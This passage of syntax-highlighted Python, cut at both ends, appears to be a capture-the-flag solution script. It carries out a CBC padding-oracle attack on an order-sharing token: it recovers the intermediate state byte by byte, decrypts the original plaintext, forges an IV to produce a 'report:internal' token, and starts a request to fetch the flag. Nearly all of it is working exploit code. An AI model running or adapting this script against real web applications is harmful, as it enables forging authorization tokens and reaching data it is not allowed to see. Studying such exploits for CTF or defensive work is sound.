        &lt;span class="n"&gt;padding_value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BLOCK_SIZE&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;byte_pos&lt;/span&gt;

        &lt;span class="c1"&gt;# Build test IV with known intermediate bytes set for target padding
&lt;/span&gt;        &lt;span class="n"&gt;test_iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytearray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BLOCK_SIZE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;byte_pos&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BLOCK_SIZE&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;test_iv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;intermediate&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;padding_value&lt;/span&gt;

        &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;test_iv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;byte_pos&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt;
            &lt;span class="n"&gt;token_hex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;test_iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;cipher_block&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;has_valid_padding&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token_hex&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                &lt;span class="c1"&gt;# Verify to avoid false positives on the last byte
&lt;/span&gt;                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;byte_pos&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;BLOCK_SIZE&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;padding_value&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="n"&gt;verify_iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytearray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;test_iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                    &lt;span class="n"&gt;verify_iv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;byte_pos&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
                    &lt;span class="n"&gt;verify_token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;verify_iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;cipher_block&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
                    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;has_valid_padding&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;verify_token&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                        &lt;span class="k"&gt;continue&lt;/span&gt;

                &lt;span class="n"&gt;intermediate&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;byte_pos&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;padding_value&lt;/span&gt;
                &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                    &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;  [+] Byte &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;byte_pos&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
                    &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;intermediate=0x&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;intermediate&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;byte_pos&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
                    &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(guess=0x&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;, padding=0x&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;padding_value&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
                &lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;  [-] Failed to find byte &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;byte_pos&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;intermediate&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;forge_token&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;intermediate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bytearray&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cipher_block&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Forge a new IV so the cipher block decrypts to the target plaintext.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;target_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;pad_len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BLOCK_SIZE&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target_bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;pad_len&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[-] Target &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; must be shorter than &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;BLOCK_SIZE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; bytes&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;padded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;target_bytes&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;pad_len&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;pad_len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;new_iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytearray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BLOCK_SIZE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BLOCK_SIZE&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;new_iv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;intermediate&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;padded&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="nf"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;cipher_block&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Usage: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &amp;lt;share-token-hex&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;  Get a token by clicking &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Share Order&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; on an order page&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;token_hex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;token_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token_hex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token_bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[-] Token too short. Expected at least 32 bytes (IV + 1 block)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;token_bytes&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;cipher_block&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;token_bytes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Token: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;token_hex&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] IV:    &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Block: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;cipher_block&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="c1"&gt;# Step 1: Recover intermediate state
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Recovering intermediate state using padding oracle...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;intermediate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;recover_intermediate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cipher_block&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;[+] Intermediate: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;intermediate&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Verify by recovering the original plaintext
&lt;/span&gt;    &lt;span class="n"&gt;original_plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytearray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BLOCK_SIZE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BLOCK_SIZE&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;original_plaintext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;intermediate&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Original plaintext (raw): &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;original_plaintext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="c1"&gt;# Step 2: Forge token for 'report:internal'
&lt;/span&gt;    &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;report:internal&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Forging token for &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;forged_token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;forge_token&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;intermediate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cipher_block&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Forged token: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;forged_token&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="c1"&gt;# Step 3: Retrieve the flag
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Sending forged token...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
